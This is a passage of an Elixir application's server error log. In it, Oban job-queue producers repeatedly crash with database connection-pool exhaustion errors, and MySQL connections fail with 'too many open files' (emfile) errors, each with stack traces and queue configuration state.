    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:13:57.247585Z], limit: 3, uuid: "1be16091-c4e3-44c3-873d-d432a00cd18e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:57.247592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242155>, refresh_timer: #Reference<0.2525715032.1077411843.242147>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:09.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:13:57.244254Z], limit: 5, uuid: "8040adc8-2379-44e4-8b0a-4732376864f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:57.244259Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111492>, refresh_timer: #Reference<0.2525715032.1099431938.11791>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2002ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:13:57.243877Z], limit: 50, uuid: "38fb27ed-9420-43e8-85fa-b1e81bdeda92", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:57.243884Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111493>, refresh_timer: #Reference<0.2525715032.1099431938.11776>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:13:57.246843Z], limit: 5, uuid: "0d7090b7-93f2-4ca7-b281-eb0a957f84eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:57.246849Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111491>, refresh_timer: #Reference<0.2525715032.1121189889.111489>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:13:57.246081Z], limit: 20, uuid: "038c90d8-a8dd-406a-a34d-d4da49ea720d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:57.246087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111490>, refresh_timer: #Reference<0.2525715032.1121189889.111477>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:09.644000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:10.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:12.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:12.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:13.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:14.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:14.778000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:14:03.239357Z], limit: 10, uuid: "8fb60563-c6d4-440b-9447-36379641993f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:03.239364Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242275>, refresh_timer: #Reference<0.2525715032.1099431938.11886>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:17.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:14:09.240736Z], limit: 5, uuid: "a76d758e-0784-4019-aada-91bc746306a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:09.240743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242505>, refresh_timer: #Reference<0.2525715032.1121189889.111529>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:14:09.241711Z], limit: 50, uuid: "fb5e2a31-ec8d-4113-b45c-ba81978967ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:09.241717Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242506>, refresh_timer: #Reference<0.2525715032.1121189889.111541>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:14:09.248425Z], limit: 20, uuid: "f5d2ef1d-f28b-40a1-a00b-12fa376cbc27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:09.248431Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242502>, refresh_timer: #Reference<0.2525715032.1077411843.242492>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:21.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
